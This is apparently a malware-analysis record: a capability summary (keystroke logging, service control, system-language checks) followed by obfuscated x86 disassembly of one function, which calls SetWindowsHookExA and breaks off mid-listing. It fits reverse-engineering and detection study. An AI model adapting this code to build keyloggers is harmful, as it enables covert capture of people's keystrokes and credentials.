Function at 0x1002a341
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Extract resource via kernel32 functions
Get file size
Get graphical window text
Get system information on windows
Identify system language via api
Log keystrokes
Query service status
Start service

Disassembly:
mov eax, 0x10075536
call fcn.10074ee8
mov eax, 0x10c8
call fcn.10070850
mov dword [ebp - 0x1c], 3
mov dword [ebp - 0x24], 0x2250db85
mov dword [ebp - 0x18], 0xb000cd9d
mov dword [ebp - 0x30], 0x8939f5fa
push ebx
mov byte [ebp - 0x69], dl
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg eax
mov dword [ebp - 0x80], ecx
push esi
push edi
push 0xfffffffffffffff7
pop esi
cmp esi, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
sub eax, ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge bl
xor ecx, ecx
cmp ebx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], eax
jmp 0x1002a3f0
mov dword [ebp - 0x24], eax
jmp 0x1002a3e7
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a3e4
push eax
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xf
jne 0x1002a3d2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x19
jle 0x1002a3cd
xor ebx, ebx
mov dword [ebp - 0x20], 0x1824a8c6
mov dword [ebp - 0x28], eax
inc ebx
cmp dword [ebp - 0x28], ebx
jge 0x1002a420
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1a4], 0x69f4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002a408
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
mov esi, dword [sym.imp.USER32.dll_DrawEdge]
jg 0x1002a477
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a456
push 0x135b
push 0x1bb1
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a46c
push 0x24c6
call dword [sym.imp.USER32.dll_GetSysColor]
xor eax, eax
dec dword [ebp - 0x20]
push 0xfffffffffffffff7
pop ecx
cmp dword [ebp - 0x20], ecx
jle 0x1002a434
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002a564
mov dword [ebp - 0x10], 0xfffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002a4ac
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x854], 0xb382e580
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002a493
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002a4cb
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xcb4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002a4b7
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002a4f7
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x1a4]
mov dword [ebp - 0x854], ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x1a4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1002a501
cmp dword [ebp - 0x1a4], eax
je 0x1002a50d
jmp 0x1002a503
xor eax, eax
mov edx, ebx
cmp dword [ebp - 0x854], eax
jne 0x1002a50f
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
push 0
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1a4]
cmp eax, edx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, ebx
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setg bl
xor ecx, ecx
cmp ebx, eax
pop eax
setl cl
mov dword [ebp - 0xcb0], ecx
dec dword [ebp - 0x20]
push 1
pop ebx
jns 0x1002a483
mov dword [ebp - 0x20], 0x1824a8c6
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002a58b
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1a0], 0x69f4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002a573
xor eax, eax
push 0xfffffffffffffff7
mov dword [ebp - 0x20], eax
pop ecx
jmp 0x1002a5d4
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a5b8
push 0x135b
push 0x1bb1
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push 0xfffffffffffffff7
xor eax, eax
pop ecx
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a5d1
push 0x24c6
call dword [sym.imp.USER32.dll_GetSysColor]
push 0xfffffffffffffff7
xor eax, eax
pop ecx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jle 0x1002a593
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002a6c6
mov dword [ebp - 0x10], 0xfffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002a60e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7c4], 0xb382e580
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002a5f5
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002a62d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd8c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002a619
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002a659
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov dword [ebp - 0x7c4], ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1002a663
cmp dword [ebp - 0x1a0], eax
je 0x1002a66f
jmp 0x1002a665
xor eax, eax
mov edx, ebx
cmp dword [ebp - 0x7c4], eax
jne 0x1002a671
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
push 0
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1a0]
cmp eax, edx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, ebx
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setg bl
xor ecx, ecx
cmp ebx, eax
pop eax
setl cl
mov dword [ebp - 0xd88], ecx
dec dword [ebp - 0x20]
push 1
pop ebx
jns 0x1002a5e5
mov dword [ebp - 0x20], 0x1824a8c6
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002a6ed
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x170], 0x69f4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002a6d5
xor eax, eax
push 0xfffffffffffffff7
mov dword [ebp - 0x20], eax
pop ecx
jmp 0x1002a736
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a71a
push 0x135b
push 0x1bb1
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
push 0xfffffffffffffff7
xor eax, eax
pop ecx
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002a733
push 0x24c6
call dword [sym.imp.USER32.dll_GetSysColor]
push 0xfffffffffffffff7
xor eax, eax
pop ecx
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jle 0x1002a6f5
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002a828
mov dword [ebp - 0x10], 0xfffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002a770
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x824], 0xb382e580
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002a757
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002a78f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd2c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002a77b
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002a7bb
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x170]
mov dword [ebp - 0x824], ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x170]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1002a7c5
cmp dword [ebp - 0x170], eax
je 0x1002a7d1
jmp 0x1002a7c7
xor eax, eax
mov edx, ebx
cmp dword [ebp - 0x824], eax
jne 0x1002a7d3
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x10]
push 0
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x170]
cmp eax, edx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, ebx
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x10]
setg bl
xor ecx, ecx
cmp ebx, eax
pop eax
setl cl
mov dword [ebp - 0xd28], ecx
dec dword [ebp - 0x20]
push 1
pop ebx
jns 0x1002a747
mov dword [ebp - 0x1c], 0x951ad386
push 3
mov dword [ebp - 0x28], eax
pop ecx
cmp dword [ebp - 0x28], ecx
jge 0x1002a852
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd74], 0xe9714a02
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002a83a
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jg 0x1002a898
mov dword [ebp - 0x28], eax
jmp 0x1002a873
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xbec], 0xf47a
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x1002a862
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0xd74], 0
jne 0x1002a896
mov eax, dword [ebp - 0xbec]
inc dword [ebp - 0x1c]
push 0
pop eax
cmp dword [ebp - 0x1c], edx
jle 0x1002a85d
xor eax, eax
mov dword [ebp - 0x20], 0xffff
mov dword [ebp - 0x18], 0xa86ba47c
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x44], 0x6dbac6b9
mov dword [ebp - 0x28], eax
jmp 0x1002a8cc
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xbc4], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jl 0x1002a8bf
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
test eax, eax
jne 0x1002a8df
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, 0x7cb3
sub eax, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, 0xfd07
setg bl
xor ecx, ecx
test eax, eax
setg cl
xor edx, edx
cmp ecx, ebx
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setg cl
cmp ecx, 0x1c57511e
jg 0x1002a95a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], eax
jl 0x1002a96c
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1002a96c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor eax, eax
push 8
pop ecx
cmp dword [ebp - 0x1c], eax
je 0x1002a9e1
mov dword [ebp - 0x10], 0xd402a53e
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
cmp eax, 0x6516035e
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x20], 4
mov eax, dword [ebp - 0x20]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
setg dl
xor ebx, ebx
sub edx, dword [ebp - 0x20]
inc ebx
mov dword [ebp - 0x24], edx
jmp 0x1002aa89
xor ebx, ebx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x28], eax
inc ebx
jmp 0x1002a9fd
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1a8], 0xe9700a5f
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002a9ec
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0xbc0]
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xbc0]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
test eax, eax
jne 0x1002aa3e
cmp dword [ebp - 0x1c], eax
jne 0x1002aa3e
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1a8]
cmp eax, 0xfdeb
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
setl cl
add edx, ecx
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setl cl
cmp ecx, 0xffffffff
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setge cl
cmp ecx, dword [ebp - 0x1c]
jle 0x1002aa7c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
test eax, eax
setns cl
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x20], 0x1824a8c6
mov dword [ebp - 0x1c], 0xd5e48d32
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x1c], 0x16
jmp 0x1002ab46
mov dword [ebp - 0x24], 0xf5f4
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x38], 0xc1932e3c
mov dword [ebp - 0x4c], 0xc23e
mov dword [ebp - 0x44], 0x3dd972c4
mov dword [ebp - 0x28], eax
jmp 0x1002aae6
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xb70], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x1002aad9
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x44], eax
je 0x1002ab09
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002ab0b
mov eax, ebx
jmp 0x1002ab0b
xor eax, eax
mov dword [ebp - 0xb70], eax
xor edx, edx
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c]
test eax, eax
setg cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], 0xffffffe5
jge 0x1002aaaa
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x1002ab6a
push 0x14b3
call edi
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
mov dword [ebp - 0x44], 0x891ba802
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002ab91
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd4], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002ab79
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x1002abb4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1d4], 0x632667a8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002ab9c
xor eax, eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], eax
jg 0x1002ac81
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x38], 0x3af7806a
mov eax, dword [ebp - 0x1d4]
mov eax, dword [ebp + eax*4 - 0xd4]
mov eax, dword [ebp - 0x1d4]
mov eax, dword [ebp + eax*4 - 0xd4]
mov ecx, dword [ebp - 0x44]
dec ecx
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xffffffff
setge al
xor edx, edx
imul eax, dword [ebp - 0xd4]
imul eax, eax, 0x1362
add eax, 0x8dc1
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp + eax*4 - 0xd4]
mov eax, dword [ebp - 0x1d0]
cmp ecx, eax
mov eax, dword [ebp - 0x1d4]
setle dl
xor ebx, ebx
mov eax, dword [ebp + eax*4 - 0xd4]
cmp edx, eax
mov eax, dword [ebp - 0x1d4]
setl bl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xd4]
cmp ebx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x1d4], eax
jne 0x1002ac79
inc dword [ebp - 0x1d4]
cmp dword [ebp - 0x1d4], eax
jle 0x1002abc6
xor ebx, ebx
xor eax, eax
push 3
inc ebx
pop ecx
mov dword [ebp - 0x28], eax
jmp 0x1002ac97
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x180], 0x69f4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002ac86
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x24], 0x2250db85
mov dword [ebp - 0x18], 0xb000cd9d
mov dword [ebp - 0x30], 0x8939f5fa
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg eax
push 0xfffffffffffffff7
pop ecx
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
sub eax, ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge bl
xor ecx, ecx
cmp ebx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], eax
jmp 0x1002ad2a
mov dword [ebp - 0x24], eax
jmp 0x1002ad21
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ad1e
push eax
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xf
jne 0x1002ad0c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x19
jle 0x1002ad07
push 0xfffffffffffffff7
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jg 0x1002b5a2
mov dword [ebp - 0x24], 0xb9f9b31
xor ebx, ebx
mov dword [ebp - 0x48], 0xfffffff6
inc ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], 0xfffffffa
cmp dword [ebp - 0x24], 0x10
jle 0x1002ae4f
mov dword [ebp - 0x1c], 0xe386
mov dword [ebp - 0x38], 0xf617a941
mov dword [ebp - 0x34], ebx
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002ad84
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002add9
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
push 7
setne dl
xor eax, eax
pop ecx
cmp edx, ecx
mov edx, dword [ebp - 0x24]
setge al
sub edx, eax
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
xor edx, edx
dec ecx
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setge dl
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0x1de2a907
push 7
setge cl
sub ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x10]
neg ecx
pop eax
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x1c]
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x1c]
jge 0x1002ae0e
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002ae10
mov ecx, ebx
jmp 0x1002ae12
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
push 0
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0xe2e1
setle al
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x10
pop eax
jg 0x1002ad64
mov dword [ebp - 0x28], 0x29000d4e
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x1002ae78
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1004], 0x3b910207
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1002ae5f
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002ae9a
cmp byte [ebp - 0x29], 0
je 0x1002ae97
push 0x1459
push eax
push eax
push 0x244e
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
mov byte [ebp - 0x29], al
jle 0x1002ae7d
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x38], 0x8dd44ad3
mov dword [ebp - 0x38], 0x95f7626a
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1002aed6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4f8], 0x5aa0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002aebd
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002aeec
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5e8], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002aedb
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
sub edx, eax
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, 0x890
setge cl
xor edx, edx
cmp ecx, eax
setge dl
xor ebx, ebx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x4f8]
setle bl
xor edx, edx
sub ebx, eax
mov eax, dword [ebp - 0x24]
sub ebx, eax
mov eax, dword [ebp - 0x4f8]
mov ecx, dword [ebp - 0x24]
imul ebx, eax
mov eax, dword [ebp - 0x38]
imul ecx, ebx
cmp eax, ecx
setne dl
xor ebx, ebx
sub edx, dword [ebp - 0x4f8]
inc ebx
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x5e8], ebx
cmp byte [ebp - 0x29], 0
je 0x1002b085
push 0xfffffffffffffffb
pop eax
mov dword [ebp - 0x9ec], eax
mov dword [ebp - 0x9e8], eax
mov dword [ebp - 0x9e4], eax
mov dword [ebp - 0x9e0], eax
xor eax, eax
mov dword [ebp - 0x28], 0x8094a188
push 3
mov dword [ebp - 0x44], 0xa9683648
pop ecx
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jl 0x1002b06e
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x9ec], 0
je 0x1002afdb
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x1002b063
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 3
pop ecx
jmp 0x1002b063
xor eax, eax
mov dword [ebp - 0x24], 0xfe5f36f6
mov dword [ebp - 0x24], eax
jmp 0x1002b05e
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jl 0x1002b017
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x1002b00a
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1002b014
dec dword [ebp - 0x1c]
jns 0x1002aff8
push 3
pop ecx
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jl 0x1002b05b
mov dword [ebp - 0x10], 9
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
jl 0x1002b056
mov dword [ebp - 0x38], 0xed45
xor ecx, ecx
mov dword [ebp - 0x38], 0x348c
mov eax, dword [ebp - 0x38]
cmp eax, 0xb1ab
setge cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x10]
jns 0x1002b02e
push 3
xor eax, eax
pop ecx
dec dword [ebp - 0x1c]
jns 0x1002b01f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jle 0x1002afe9
dec dword [ebp - 0x28]
jns 0x1002afb0
xor eax, eax
push 0x135b
push 0x1bb1
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call esi
mov dword [ebp - 0x3c], 0xe8cff0ea
xor eax, eax
mov dword [ebp - 0x38], 0xc214f163
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002b0b5
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xfc], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002b09d
xor eax, eax
mov dword [ebp - 0x3c], 0xfffffff3
jmp 0x1002b183
mov dword [ebp - 0x24], 0x8b108f82
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x1002b0e8
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1e4], 0x88999d94
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002b0d0
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002b129
mov dword [ebp - 0x28], ebx
